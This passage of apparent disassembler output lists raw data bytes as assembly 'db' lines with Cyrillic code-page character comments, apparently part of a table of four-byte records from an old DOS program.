		db 0C3h	; ц
		db  28h	; (
		db    1	;  
		db 0FAh	; З
		db 0C3h	; ц
		db  2Ah	; *
		db 0C6h	; ф
		db  0Ah	;  
		db 0C3h	; ц
		db  2Ah	; *
		db 0C6h	; ф
		db    5	;  
		db 0C3h	; ц
		db  2Ch	; ,
		db  2Eh	; .
		db  22h	; "
		db 0C3h	; ц
		db    5	;  
		db  28h	; (
		db  83h	; ┐
		db 0C3h	; ц
		db  32h	; 2
		db  8Ch	; ▄
		db    5	;  
		db 0C3h	; ц
		db  32h	; 2
		db  95h	; ∙
		db  20h	;  
		db 0C3h	; ц
		db  36h	; 6
		db  7Ah	; z
		db 0C1h	; а
		db 0C3h	; ц
		db  36h	; 6
		db  7Ah	; z
		db 0C2h	; б
		db 0C3h	; ц
		db  3Ah	; :
		db  67h	; g
		db  6Fh	; o
		db 0C3h	; ц
		db  3Ah	; :
		db 0A2h	; ╒
		db  5Ch	; \
		db 0C3h	; ц
		db  3Ah	; :
		db 0B0h	; ╟
		db  4Dh	; M
		db 0C3h	; ц
		db  3Ah	; :
		db  60h	; `
		db  22h	; "
		db 0C3h	; ц
		db    6	;  
		db  3Ah	; :
		db  3Dh	; =
		db 0C3h	; ц
		db    6	;  
		db  3Ah	; :
		db  3Eh	; >
		db 0C3h	; ц
		db  41h	; A
		db  14h	;  
		db 0FAh	; З
		db 0C3h	; ц
		db  44h	; D
		db    0	;  
		db  0Bh	;  
		db 0C3h	; ц
		db  44h	; D
		db    0	;  
		db  0Ch	;  
		db 0C3h	; ц
		db  46h	; F
		db 0A4h	; є
		db  82h	; ┌
		db 0C3h	; ц
		db  46h	; F
		db 0B1h	; ╠
		db 0C1h	; а
		db 0C3h	; ц
		db  46h	; F
		db  40h	; @
		db  17h	;  
		db 0C3h	; ц
		db  46h	; F
		db  40h	; @
		db  19h	;  
		db 0C3h	; ц
		db  4Ah	; J
		db    0	;  
		db  0Ah	;  
		db 0C3h	; ц
		db  4Ah	; J
		db    0	;  
		db  37h	; 7
		db 0C3h	; ц
		db  4Eh	; N
		db 0A1h	; ║
		db    1	;  
		db 0C3h	; ц
		db  50h	; P
		db 0C0h	; ю
		db    1	;  
		db 0C3h	; ц
		db  51h	; Q
		db  26h	; &
		db  0Ah	;  
		db 0C3h	; ц
		db  52h	; R
		db 0C3h	; ц
		db  63h	; c
		db 0C3h	; ц
		db  5Ah	; Z
		db  40h	; @
		db    2	;  
		db 0C3h	; ц
		db  5Ch	; \
		db 0C3h	; ц
		db 0DEh	; ч
		db 0C3h	; ц
		db  5Eh	; ^
		db  58h	; X
		db 0FEh	; Ч
		db 0C3h	; ц
		db  5Eh	; ^
		db  5Ah	; Z
		db  0Ah	;  
		db 0C3h	; ц
		db  63h	; c
		db  7Dh	; }
		db 0CDh	; м
		db 0C3h	; ц
		db  63h	; c
		db  41h	; A
		db 0D4h	; т
		db 0C3h	; ц
		db  63h	; c
		db  42h	; B
		db 0D3h	; с
		db 0C3h	; ц
		db  63h	; c
		db  5Eh	; ^
		db    1	;  
		db 0C4h	; д
		db    1	;  
		db  45h	; E
		db  64h	; d
		db 0C4h	; д
		db    1	;  
		db  45h	; E
		db  62h	; b
		db 0C4h	; д
		db  16h	;  
		db 0A4h	; є
		db    8	;  
		db 0C4h	; д
		db  19h	;  
		db    1	;  
		db    1	;  
		db 0C4h	; д
		db  19h	;  
		db    1	;  
		db    9	;  
		db 0C4h	; д
		db    3	;  
		db  33h	; 3
		db 0E6h	; Ф
		db 0C4h	; д
		db    4	;  
		db 0A0h	; ═
		db    2	;  
		db 0C4h	; д
		db    4	;  
		db 0A0h	; ═
		db    8	;  
		db 0C4h	; д
		db  28h	; (
		db  1Fh	;  
		db  42h	; B
		db 0C4h	; д
		db  28h	; (
		db  1Fh	;  
		db  43h	; C
		db 0C4h	; д
		db    7	;  
		db    0	;  
		db  8Bh	; ▀
		db 0C4h	; д
		db    7	;  
		db  8Eh	; ▌
		db  85h	; ┘
		db 0C6h	; ф
		db  65h	; e
		db  20h	;  
		db  12h	;  
		db 0C6h	; ф
		db  66h	; f
		db  70h	; p
		db  0Bh	;  
		db 0C6h	; ф
		db  66h	; f
		db  56h	; V
		db    4	;  
		db 0C6h	; ф
		db  67h	; g
		db  61h	; a
		db    1	;  
		db 0C6h	; ф
		db  68h	; h
		db  7Ah	; z
		db    8	;  
		db 0C6h	; ф
		db  6Bh	; k
		db    0	;  
		db  0Eh	;  
		db 0C6h	; ф
		db  6Bh	; k
		db  0Ch	;  
		db  0Bh	;  
		db 0C6h	; ф
		db  6Ch	; l
		db    1	;  
		db  2Ah	; *
		db 0C6h	; ф
		db  6Ch	; l
		db  82h	; ┌
		db    5	;  
		db 0C6h	; ф
		db  6Ch	; l
		db  45h	; E
		db  13h	;  
		db 0C6h	; ф
		db  6Dh	; m
		db  24h	; $
		db    3	;  
		db 0C6h	; ф
		db  0Bh	;  
		db    4	;  
		db    1	;  
		db 0C6h	; ф
		db  6Fh	; o
		db  98h	; ≤
		db  42h	; B
		db 0C6h	; ф
		db  6Fh	; o
		db  11h	;  
		db 0FCh	; Э
		db 0C6h	; ф
		db  6Fh	; o
		db 0B0h	; ╟
		db    4	;  
		db 0C6h	; ф
		db  6Fh	; o
		db 0B4h	; Є
		db    4	;  
		db 0C6h	; ф
		db  6Fh	; o
		db 0B8h	; ╦
		db    2	;  
		db 0C6h	; ф
		db  6Fh	; o
		db 0C4h	; д
		db  83h	; ┐
		db 0C6h	; ф
		db  6Fh	; o
		db 0C4h	; д
		db  22h	; "
		db 0C6h	; ф
		db  6Fh	; o
		db 0C8h	; х
		db    6	;  
		db 0C6h	; ф
		db  6Fh	; o
		db 0C8h	; х
		db    7	;  
		db 0C6h	; ф
		db  6Fh	; o
		db 0CCh	; л
		db  16h	;  
		db 0C6h	; ф
		db  6Fh	; o
		db 0D1h	; я
		db 0C8h	; х
		db 0C6h	; ф
		db  6Fh	; o
		db 0F0h	; П
		db    5	;  
		db 0C6h	; ф
		db  6Fh	; o
		db 0F4h	; Т
		db    2	;  
		db 0C6h	; ф
		db  6Fh	; o
		db  1Ch	;  
		db  12h	;  
		db 0C6h	; ф
		db  6Fh	; o
		db  20h	;  
		db    2	;  
		db 0C6h	; ф
		db  6Fh	; o
		db  24h	; $
		db  0Bh	;  
		db 0C6h	; ф
		db  6Fh	; o
		db  24h	; $
		db  0Eh	;  
		db 0C6h	; ф
		db  6Fh	; o
		db  24h	; $
		db  13h	;  
		db 0C6h	; ф
		db  6Fh	; o
		db  2Bh	; +
		db  14h	;  
		db 0C6h	; ф
		db  6Fh	; o
		db  2Dh	; -
		db  74h	; t
		db 0C6h	; ф
		db  6Fh	; o
		db  2Dh	; -
		db  10h	;  
		db 0C6h	; ф
		db  6Fh	; o
		db  38h	; 8
		db    9	;  
		db 0C6h	; ф
		db  6Fh	; o
		db  3Fh	; ?
		db  2Ch	; ,
		db 0C6h	; ф
		db  74h	; t
		db  6Fh	; o
		db    6	;  
		db 0C6h	; ф
		db  74h	; t
		db  41h	; A
		db 0F1h	; Я
		db 0C6h	; ф
		db  80h	; ─
		db    2	;  
		db  0Ah	;  
		db 0C6h	; ф
		db  0Dh	;  
		db  0Ah	;  
		db    1	;  
		db 0C6h	; ф
		db  85h	; ┘
		db 0C7h	; г
		db    3	;  
		db 0C6h	; ф
		db  85h	; ┘
		db 0C7h	; г
		db    4	;  
		db 0C6h	; ф
		db  89h	; ┴
		db 0DDh	; щ
		db    1	;  
		db 0C6h	; ф
		db  89h	; ┴
		db 0DDh	; щ
		db    4	;  
		db 0C6h	; ф
		db  89h	; ┴
		db 0DDh	; щ
		db    5	;  
		db 0C6h	; ф
		db  89h	; ┴
		db 0F9h	; Ы
		db  3Eh	; >
		db 0C6h	; ф
		db  8Dh	; █
		db  1Ch	;  
		db  44h	; D
		db 0C6h	; ф
		db  92h	; ▓
		db    3	;  
		db    1	;  
		db 0C6h	; ф
		db  93h	; ⌠
		db 0DDh	; щ
		db  22h	; "
		db 0C6h	; ф
		db  93h	; ⌠
		db 0DDh	; щ
		db  23h	; #
		db 0C6h	; ф
		db  93h	; ⌠
		db  4Bh	; K
		db    2	;  
		db 0C6h	; ф
		db  93h	; ⌠
		db  4Ch	; L
		db  41h	; A
		db 0C6h	; ф
		db  97h	; ≈
		db  0Ch	;  
		db  0Fh	;  
		db 0C6h	; ф
		db  97h	; ≈
		db  0Dh	;  
		db  0Fh	;  
		db 0C6h	; ф
		db  97h	; ≈
		db 0F8h	; Ь
		db 0B7h	; Ї
		db 0C6h	; ф
		db  97h	; ≈
		db 0F8h	; Ь
		db 0F3h	; С
		db 0C6h	; ф
		db  98h	; ≤
		db  0Ch	;  
		db  63h	; c
		db 0C6h	; ф
		db  98h	; ≤
		db  0Dh	;  
		db  63h	; c
		db 0C6h	; ф
		db  9Bh	; ⌡
		db 0DFh	; ъ
		db    5	;  
		db 0C6h	; ф
		db 0A1h	; ║
		db  66h	; f
		db  15h	;  
		db 0C6h	; ф
		db 0A1h	; ║
		db  66h	; f
		db  22h	; "
		db 0C6h	; ф
		db 0A1h	; ║
		db  9Ch	; °
		db    1	;  
		db 0C6h	; ф
		db 0A1h	; ║
		db  9Dh	; ²
		db  74h	; t
		db 0C6h	; ф
		db 0A1h	; ║
		db  20h	;  
		db  15h	;  
		db 0C6h	; ф
		db 0A1h	; ║
		db  2Ch	; ,
		db  14h	;  
		db 0C6h	; ф
		db 0A1h	; ║
		db    6	;  
		db  0Bh	;  
		db 0C6h	; ф
		db 0A1h	; ║
		db    6	;  
		db    8	;  
		db 0C6h	; ф
		db 0A3h	; ё
		db 0E3h	; Ц
		db    2	;  
		db 0C6h	; ф
		db 0A3h	; ё
		db 0E3h	; Ц
		db    4	;  
		db 0C6h	; ф
		db 0A3h	; ё
		db 0E8h	; Х
		db 0FDh	; Щ
		db 0C6h	; ф
		db 0A3h	; ё
		db 0E8h	; Х
		db 0FEh	; Ч
		db 0C6h	; ф
		db 0A4h	; є
		db  1Eh	;  
		db    2	;  
		db 0C6h	; ф
		db 0A4h	; є
		db    4	;  
		db    2	;  
		db 0C6h	; ф
		db 0A5h	; ╔
		db  3Fh	; ?
		db 0FEh	; Ч
		db 0C6h	; ф
		db 0A6h	; і
		db 0D7h	; в
		db    2	;  
		db 0C6h	; ф
		db 0A8h	; ╗
		db 0FAh	; З
		db  1Bh	;  
		db 0C6h	; ф
		db 0A8h	; ╗
		db  36h	; 6
		db    8	;  
		db 0C6h	; ф
		db 0A8h	; ╗
		db  49h	; I
		db    8	;  
		db 0C6h	; ф
		db  11h	;  
		db 0F9h	; Ы
		db    5	;  
		db 0C6h	; ф
		db  11h	;  
		db    5	;  
		db  0Ch	;  
		db 0C6h	; ф
		db  11h	;  
		db  39h	; 9
		db  46h	; F
		db 0C6h	; ф
		db  11h	;  
		db  4Bh	; K
		db  30h	; 0
		db 0C6h	; ф
		db 0ACh	; ╛
		db  52h	; R
		db  0Dh	;  
		db 0C6h	; ф
		db 0AFh	; ╞
		db  38h	; 8
		db 0C8h	; х
		db 0C6h	; ф
		db 0B0h	; ╟
		db 0AEh	; ў
		db 0B5h	; ╣
		db 0C6h	; ф
		db 0B0h	; ╟
		db 0AEh	; ў
		db 0BDh	; Ґ
		db 0C6h	; ф
		db 0B2h	; ╡
		db    8	;  
		db 0A7h	; ї
		db 0C6h	; ф
		db 0B2h	; ╡
		db    8	;  
		db 0A8h	; ╗
		db 0C6h	; ф
		db 0B4h	; Є
		db 0C8h	; х
		db 0CDh	; м
		db 0C6h	; ф
		db 0B6h	; І
		db  8Ch	; ▄
		db    3	;  
		db 0C6h	; ф
		db 0B6h	; І
		db  9Fh	; ÷
		db    7	;  
		db 0C6h	; ф
		db 0B6h	; І
		db  9Fh	; ÷
		db    8	;  
		db 0C6h	; ф
		db 0BBh	; ╩
		db 0CBh	; к
		db 0A7h	; ї
		db 0C6h	; ф
		db 0BBh	; ╩
		db 0CBh	; к
		db  3Eh	; >
		db 0C6h	; ф
		db 0BEh	; Ў
		db 0E2h	; Б
		db    3	;  
		db 0C6h	; ф
		db 0BEh	; Ў
		db 0E2h	; Б
		db  1Eh	;  
		db 0C6h	; ф
		db 0C7h	; г
		db 0C7h	; г
		db    7	;  
		db 0C6h	; ф
		db 0C7h	; г
		db 0C7h	; г
		db    8	;  
		db 0C6h	; ф
		db 0C7h	; г
		db 0EDh	; М
		db  91h	; ▒
		db 0C6h	; ф
		db 0C8h	; х
		db  99h	; ≥
		db    4	;  
		db 0C6h	; ф
		db 0C9h	; и
		db  17h	;  
		db  0Ah	;  
		db 0C6h	; ф
		db 0CAh	; й
		db  4Bh	; K
		db  1Ah	;  
		db 0C6h	; ф
		db 0CBh	; к
		db 0C4h	; д
		db  43h	; C
		db 0C6h	; ф
		db 0CCh	; л
		db  8Eh	; ▌
		db  41h	; A
		db 0C6h	; ф
		db 0CEh	; н
		db 0F6h	; Ж
		db  3Bh	; ;
		db 0C6h	; ф
		db 0CEh	; н
		db 0F6h	; Ж
		db  3Ch	; <
		db 0C6h	; ф
		db 0CFh	; о
		db 0A9h	; ╘
		db    1	;  
		db 0C6h	; ф
		db 0CFh	; о
		db 0A9h	; ╘
		db    2	;  
		db 0C6h	; ф
		db 0D7h	; в
		db  7Fh	; 
		db    2	;  
		db 0C6h	; ф
		db  16h	;  
		db    1	;  
		db  6Ch	; l
		db 0C6h	; ф
		db  16h	;  
		db  99h	; ≥
		db  81h	; │
		db 0C6h	; ф
		db  16h	;  
		db  13h	;  
		db    2	;  
		db 0C6h	; ф
		db  16h	;  
		db  13h	;  
		db    3	;  
		db 0C6h	; ф
		db  17h	;  
		db    5	;  
		db  94h	; ■
		db 0C6h	; ф
		db 0E8h	; Х
		db  8Bh	; ▀
		db 0E1h	; А
		db 0C6h	; ф
		db 0E8h	; Х
		db 0D3h	; с
		db  0Bh	;  
		db 0C6h	; ф
		db 0E8h	; Х
		db 0D3h	; с
		db  11h	;  
		db 0C6h	; ф
		db 0E9h	; И
		db  0Ah	;  
		db  0Ah	;  
		db 0C6h	; ф
		db 0E9h	; И
		db  0Ah	;  
		db  14h	;  
		db 0C6h	; ф
		db 0EBh	; К
		db 0D8h	; ь
		db    1	;  
		db 0C6h	; ф
		db 0EBh	; К
		db 0D8h	; ь
		db  82h	; ┌
		db 0C6h	; ф
		db 0EBh	; К
		db 0D8h	; ь
		db  83h	; ┐
		db 0C6h	; ф
		db 0EBh	; К
		db 0D8h	; ь
		db    2	;  
		db 0C6h	; ф
		db 0ECh	; Л
		db 0FEh	; Ч
		db  85h	; ┘
		db 0C6h	; ф
		db 0ECh	; Л
		db    4	;  
		db  65h	; e
		db 0C6h	; ф
		db 0F0h	; П
		db  82h	; ┌
		db  47h	; G
		db 0C6h	; ф
		db 0F0h	; П
		db 0D4h	; т
		db 0C8h	; х
		db 0C6h	; ф
		db 0F0h	; П
		db 0D5h	; у
		db 0C8h	; х
		db 0C6h	; ф
		db 0F2h	; Р
		db 0F8h	; Ь
		db    2	;  
		db 0C6h	; ф
		db 0F2h	; Р
		db 0F8h	; Ь
		db    3	;  
		db 0C6h	; ф
		db 0F3h	; С
		db  35h	; 5
		db    2	;  
		db 0C6h	; ф
		db 0F3h	; С
		db  35h	; 5
		db    7	;  
		db 0C6h	; ф
		db 0F5h	; У
		db  20h	;  
		db  0Bh	;  
		db 0C6h	; ф
		db 0F5h	; У
		db  20h	;  
		db  0Ch	;  
		db 0C6h	; ф
		db 0F6h	; Ж
		db  60h	; `
		db  3Dh	; =
		db 0C6h	; ф
		db 0F6h	; Ж
		db  60h	; `
		db  5Ch	; \
		db 0C6h	; ф
		db 0F7h	; В
		db 0E1h	; А
		db 0FBh	; Ш
		db 0C6h	; ф
		db 0FCh	; Э
		db  20h	;  
		db  6Eh	; n
		db 0C6h	; ф
		db 0FCh	; Э
		db  20h	;  
		db  14h	;  
		db 0C6h	; ф
		db 0FDh	; Щ
		db  10h	;  
		db  23h	; #
		db 0C6h	; ф
		db 0FDh	; Щ
		db  28h	; (
		db    3	;  
		db 0C6h	; ф
		db    3	;  
		db  88h	; ┬
		db  0Ah	;  
		db 0C6h	; ф
		db    3	;  
		db 0C8h	; х
		db    9	;  
		db 0C6h	; ф
		db    3	;  
		db  62h	; b
		db 0FAh	; З
		db 0C6h	; ф
		db    3	;  
		db  62h	; b
		db 0FBh	; Ш
		db 0C6h	; ф
		db  1Eh	;  
		db 0D9h	; ы
		db  0Ah	;  
		db 0C6h	; ф
		db  1Eh	;  
		db  1Dh	;  
		db    7	;  
		db 0C6h	; ф
		db  1Eh	;  
		db  1Dh	;  
		db    8	;  
		db 0C6h	; ф
		db  1Eh	;  
		db  52h	; R
		db 0ADh	; ґ
		db 0C6h	; ф
		db  1Eh	;  
		db  52h	; R
		db 0AEh	; ў
		db 0C6h	; ф
		db  1Fh	;  
		db  70h	; p
		db  0Ch	;  
		db 0C6h	; ф
		db  1Fh	;  
		db  70h	; p
		db    7	;  
		db 0C6h	; ф
		db  1Fh	;  
		db  81h	; │
		db    2	;  
		db 0C6h	; ф
		db  1Fh	;  
		db  81h	; │
		db    3	;  
		db 0C6h	; ф
		db  1Fh	;  
		db  88h	; ┬
		db    5	;  
		db 0C6h	; ф
		db  1Fh	;  
		db  88h	; ┬
		db    6	;  
		db 0C6h	; ф
		db  1Fh	;  
		db  10h	;  
		db    2	;  
		db 0C6h	; ф
		db  1Fh	;  
		db 0B5h	; ╣
		db    6	;  
		db 0C6h	; ф
		db  1Fh	;  
		db 0B5h	; ╣
		db    8	;  
		db 0C6h	; ф
		db  1Fh	;  
		db 0C0h	; ю
		db  42h	; B
		db 0C6h	; ф
		db  1Fh	;  
		db 0CDh	; м
		db    7	;  
		db 0C6h	; ф
		db  1Fh	;  
		db 0CDh	; м
		db    9	;  
		db 0C6h	; ф
		db  1Fh	;  
		db 0D2h	; р
		db  0Ah	;  
		db 0C6h	; ф
		db  1Fh	;  
		db 0F8h	; Ь
		db  82h	; ┌
		db 0C6h	; ф
		db  1Fh	;  
		db 0F8h	; Ь
		db  86h	; ├
		db 0C6h	; ф
		db  1Fh	;  
		db 0FFh	;  
		db 0FEh	; Ч
		db 0C6h	; ф
		db  1Fh	;  
		db  25h	; %
		db    1	;  
		db 0C6h	; ф
		db  1Fh	;  
		db  25h	; %
		db  0Bh	;  
		db 0C6h	; ф
		db  1Fh	;  
		db  2Ch	; ,
		db    3	;  
		db 0C6h	; ф
		db  1Fh	;  
		db  40h	; @
		db    3	;  
		db 0C6h	; ф
		db  1Fh	;  
		db  57h	; W
		db  18h	;  
		db 0C6h	; ф
		db  1Fh	;  
		db  57h	; W
		db    3	;  
		db 0C6h	; ф
		db  20h	;  
		db    2	;  
		db  0Ah	;  
		db 0C6h	; ф
		db  20h	;  
		db    4	;  
		db  0Dh	;  
		db 0C6h	; ф
		db  24h	; $
		db 0D9h	; ы
		db    2	;  
		db 0C6h	; ф
		db  24h	; $
		db 0D9h	; ы
		db    3	;  
		db 0C6h	; ф
		db    4	;  
		db  9Fh	; ÷
		db  0Ah	;  
		db 0C6h	; ф
		db    4	;  
		db  4Bh	; K
		db  64h	; d
		db 0C6h	; ф
		db    4	;  
		db  4Bh	; K
		db  45h	; E
		db 0C6h	; ф
		db    4	;  
		db  53h	; S
		db  23h	; #
		db 0C6h	; ф
		db    4	;  
		db  5Ch	; \
		db    1	;  
		db 0C6h	; ф
		db    4	;  
		db  5Eh	; ^
		db    1	;  
		db 0C6h	; ф
		db  29h	; )
		db    0	;  
		db    4	;  
		db 0C6h	; ф
		db  29h	; )
		db    3	;  
		db  6Ch	; l
		db 0C6h	; ф
		db  29h	; )
		db    3	;  
		db  27h	; '
		db 0C6h	; ф
		db  31h	; 1
		db  9Dh	; ²
		db  25h	; %
		db 0C6h	; ф
		db  31h	; 1
		db  9Dh	; ²
		db  45h	; E
		db 0C6h	; ф
		db  31h	; 1
		db 0D7h	; в
		db  15h	;  
		db 0C6h	; ф
		db  31h	; 1
		db 0DAh	; з
		db  14h	;  
		db 0C6h	; ф
		db  31h	; 1
		db 0DCh	; э
		db  51h	; Q
		db 0C6h	; ф
		db  31h	; 1
		db  1Eh	;  
		db  21h	; !
		db 0C6h	; ф
		db  33h	; 3
		db  76h	; v
		db  0Bh	;  
		db 0C6h	; ф
		db  33h	; 3
		db  0Dh	;  
		db    2	;  
		db 0C6h	; ф
		db  33h	; 3
		db  0Dh	;  
		db    3	;  
		db 0C6h	; ф
		db  33h	; 3
		db 0AFh	; ╞
		db  13h	;  
		db 0C6h	; ф
		db  33h	; 3
		db 0AFh	; ╞
		db  20h	;  
		db 0C6h	; ф
		db  33h	; 3
		db 0FBh	; Ш
		db  0Ch	;  
		db 0C6h	; ф
		db  33h	; 3
		db 0FBh	; Ш
		db  0Dh	;  
		db 0C6h	; ф
		db  33h	; 3
		db  31h	; 1
		db  0Ah	;  
		db 0C6h	; ф
		db  35h	; 5
		db  40h	; @
		db  0Eh	;  
		db 0C6h	; ф
		db    6	;  
		db    1	;  
		db  72h	; r
		db 0C6h	; ф
		db    6	;  
		db    1	;  
		db  73h	; s
		db 0C6h	; ф
		db    6	;  
		db    1	;  
		db  9Ah	;  
		db 0C6h	; ф
		db    6	;  
		db    1	;  
		db 0A1h	; ║
		db 0C6h	; ф
		db    6	;  
		db    1	;  
		db 0A2h	; ╒
		db 0C6h	; ф
		db    6	;  
		db    1	;  
		db  12h	;  
		db 0C6h	; ф
		db    6	;  
		db    1	;  
		db 0B5h	; ╣
		db 0C6h	; ф
		db    6	;  
		db    1	;  
		db 0B6h	; І
		db 0C6h	; ф
		db    6	;  
		db    1	;  
		db  13h	;  
		db 0C6h	; ф
		db    6	;  
		db    1	;  
		db 0CAh	; й
		db 0C6h	; ф
		db    6	;  
		db    1	;  
		db  41h	; A
		db 0C6h	; ф
		db    6	;  
		db    1	;  
		db  51h	; Q
		db 0C6h	; ф
		db    6	;  
		db    1	;  
		db  52h	; R
		db 0C6h	; ф
		db    6	;  
		db    1	;  
		db  53h	; S
		db 0C6h	; ф
		db    6	;  
		db  64h	; d
		db  15h	;  
		db 0C6h	; ф
		db    6	;  
		db  64h	; d
		db  25h	; %
		db 0C6h	; ф
		db    6	;  
		db  31h	; 1
		db  6Fh	; o
		db 0C6h	; ф
		db    6	;  
		db  31h	; 1
		db    5	;  
		db 0C6h	; ф
		db  3Ch	; <
		db  16h	;  
		db    2	;  
		db 0C6h	; ф
		db  3Ch	; <
		db  16h	;  
		db  16h	;  
		db 0C6h	; ф
		db  3Ch	; <
		db 0FDh	; Щ
		db  86h	; ├
		db 0C6h	; ф
		db  3Eh	; >
		db    8	;  
		db  0Bh	;  
		db 0C6h	; ф
		db  3Eh	; >
		db    8	;  
		db  0Fh	;  
		db 0C6h	; ф
		db  40h	; @
		db 0C1h	; а
		db  19h	;  
		db 0C6h	; ф
		db  40h	; @
		db 0C1h	; а
		db  3Ch	; <
		db 0C6h	; ф
		db  44h	; D
		db  3Fh	; ?
		db    2	;  
		db 0C6h	; ф
		db  44h	; D
		db  3Fh	; ?
		db    3	;  
		db 0C6h	; ф
		db  45h	; E
		db 0B8h	; ╦
		db    1	;  
		db 0C6h	; ф
		db  45h	; E
		db 0B9h	; ╧
		db    1	;  
		db 0C6h	; ф
		db  45h	; E
		db 0CCh	; л
		db    2	;  
		db 0C6h	; ф
		db  45h	; E
		db 0CCh	; л
		db    7	;  
		db 0C6h	; ф
		db  45h	; E
		db 0D2h	; р
		db  82h	; ┌
		db 0C6h	; ф
		db  45h	; E
		db 0DAh	; з
		db  1Bh	;  
		db 0C6h	; ф
		db  45h	; E
		db  1Ch	;  
		db    2	;  
		db 0C6h	; ф
		db    7	;  
		db    0	;  
		db    1	;  
		db 0C6h	; ф
		db    7	;  
		db    0	;  
		db    2	;  
		db 0C6h	; ф
		db  46h	; F
		db  24h	; $
		db  46h	; F
		db 0C6h	; ф
		db  46h	; F
		db  24h	; $
		db  5Fh	; _
		db 0C6h	; ф
		db  46h	; F
		db  30h	; 0
		db    2	;  
		db 0C6h	; ф
		db  46h	; F
		db  3Ch	; <
		db    2	;  
		db 0C6h	; ф
		db  47h	; G
		db  13h	;  
		db  22h	; "
		db 0C6h	; ф
		db  47h	; G
		db  40h	; @
		db  0Ah	;  
		db 0C6h	; ф
		db  47h	; G
		db  42h	; B
		db  0Ah	;  
		db 0C6h	; ф
		db  48h	; H
		db  48h	; H
		db  0Ah	;  
		db 0C6h	; ф
		db  4Ch	; L
		db 0ADh	; ґ
		db  64h	; d
		db 0C6h	; ф
		db  4Dh	; M
		db 0B5h	; ╣
		db  82h	; ┌
		db 0C6h	; ф
		db  4Dh	; M
		db 0B5h	; ╣
		db  83h	; ┐
		db 0C6h	; ф
		db  4Dh	; M
		db 0D0h	; п
		db    4	;  
		db 0C6h	; ф
		db  4Dh	; M
		db  47h	; G
		db    2	;  
		db 0C6h	; ф
		db    8	;  
		db    1	;  
		db    6	;  
		db 0C6h	; ф
		db  50h	; P
		db    0	;  
		db  0Bh	;  
		db 0C6h	; ф
		db  50h	; P
		db    0	;  
		db    6	;  
		db 0C6h	; ф
		db  50h	; P
		db  0Bh	;  
		db    1	;  
		db 0C6h	; ф
		db  50h	; P
		db  0Eh	;  
		db  73h	; s
		db 0C6h	; ф
		db  50h	; P
		db  14h	;  
		db    3	;  
		db 0C6h	; ф
		db  50h	; P
		db  37h	; 7
		db    1	;  
		db 0C6h	; ф
		db  51h	; Q
		db  81h	; │
		db 0C1h	; а
		db 0C6h	; ф
		db  51h	; Q
		db 0D1h	; я
		db    2	;  
		db 0C6h	; ф
		db  51h	; Q
		db 0DAh	; з
		db  59h	; Y
		db 0C6h	; ф
		db  51h	; Q
		db 0F6h	; Ж
		db    4	;  
		db 0C6h	; ф
		db  52h	; R
		db 0A0h	; ═
		db 0F9h	; Ы
		db 0C6h	; ф
		db  52h	; R
		db 0A5h	; ╔
		db  32h	; 2
		db 0C6h	; ф
		db  52h	; R
		db 0F7h	; В
		db  22h	; "
		db 0C6h	; ф
		db  52h	; R
		db 0F7h	; В
		db  62h	; b
		db 0C6h	; ф
		db  53h	; S
		db 0B1h	; ╠
		db  0Ch	;  
		db 0C6h	; ф
		db  53h	; S
		db  2Fh	; /
		db  1Dh	;  
		db 0C6h	; ф
		db  53h	; S
		db  2Fh	; /
		db  1Eh	;  
		db 0C6h	; ф
		db  53h	; S
		db  2Fh	; /
		db  1Fh	;  
		db 0C6h	; ф
		db  53h	; S
		db  2Fh	; /
		db  24h	; $
		db 0C6h	; ф
		db  53h	; S
		db  2Fh	; /
		db  29h	; )
		db 0C6h	; ф
		db  53h	; S
		db  2Fh	; /
		db  2Bh	; +
		db 0C6h	; ф
		db  53h	; S
		db  2Fh	; /
		db  30h	; 0
		db 0C6h	; ф
		db  53h	; S
		db  2Fh	; /
		db  31h	; 1
		db 0C6h	; ф
		db  53h	; S
		db  2Fh	; /
		db  33h	; 3
		db 0C6h	; ф
		db  55h	; U
		db 0D2h	; р
		db  0Eh	;  
		db 0C6h	; ф
		db  57h	; W
		db  12h	;  
		db  0Ah	;  
		db 0C6h	; ф
		db  59h	; Y
		db 0A0h	; ═
		db  17h	;  
		db 0C6h	; ф
		db    9	;  
		db    9	;  
		db    9	;  
		db 0C6h	; ф
		db  5Bh	; [
		db  46h	; F
		db    1	;  
		db 0C6h	; ф
		db  5Bh	; [
		db  46h	; F
		db    2	;  
		db 0C6h	; ф
		db  5Bh	; [
		db    8	;  
		db  0Ah	;  
		db 0C6h	; ф
		db  5Ch	; \
		db  83h	; ┐
		db  80h	; ─
		db 0C6h	; ф
		db  5Fh	; _
		db  10h	;  
		db    3	;  
		db 0C6h	; ф
		db  5Fh	; _
		db 0FBh	; Ш
		db  0Ah	;  
		db 0C6h	; ф
		db  5Fh	; _
		db  20h	;  
		db    4	;  
		db 0C6h	; ф
		db  61h	; a
		db  43h	; C
		db  32h	; 2
		db 0C6h	; ф
		db  61h	; a
		db  43h	; C
		db  33h	; 3
		db 0C7h	; г
		db    0	;  
		db  9Bh	; ⌡
		db    2	;  
		db 0C7h	; г
		db    0	;  
		db  9Bh	; ⌡
		db    6	;  
		db 0C7h	; г
		db    0	;  
		db 0D8h	; ь
		db    1	;  
		db 0C7h	; г
		db    0	;  
		db 0D8h	; ь
		db 0DEh	; ч
		db 0C7h	; г
		db    0	;  
		db  46h	; F
		db  15h	;  
		db 0C7h	; г
		db    0	;  
		db  46h	; F
		db  17h	;  
		db 0C7h	; г
		db    1	;  
		db  5Bh	; [
		db    2	;  
		db 0C7h	; г
		db    1	;  
		db  5Bh	; [
		db    8	;  
		db 0C7h	; г
		db  68h	; h
		db  51h	; Q
		db    3	;  
		db 0C7h	; г
		db  68h	; h
		db  51h	; Q
		db    6	;  
		db 0C7h	; г
		db  69h	; i
		db  78h	; x
		db    2	;  
		db 0C7h	; г
		db  69h	; i
		db  7Bh	; {
		db    4	;  
		db 0C7h	; г
		db  69h	; i
		db 0BAh	; ╨
		db    6	;  
		db 0C7h	; г
		db  69h	; i
		db 0BAh	; ╨
		db    9	;  
		db 0C7h	; г
		db  6Bh	; k
		db 0F0h	; П
		db  42h	; B
		db 0C7h	; г
		db  6Bh	; k
		db 0F2h	; Р
		db  0Bh	;  
		db 0C7h	; г
		db  6Ch	; l
		db 0FDh	; Щ
		db  32h	; 2
		db 0C7h	; г
		db  75h	; u
		db  1Bh	;  
		db  15h	;  
		db 0C7h	; г
		db  75h	; u
		db  60h	; `
		db  16h	;  
		db 0C7h	; г
		db  78h	; x
		db  74h	; t
		db    1	;  
		db 0C7h	; г
		db  7Ch	; |
		db  0Fh	;  
		db  22h	; "
		db 0C7h	; г
		db  7Dh	; }
		db  55h	; U
		db    1	;  
		db 0C7h	; г
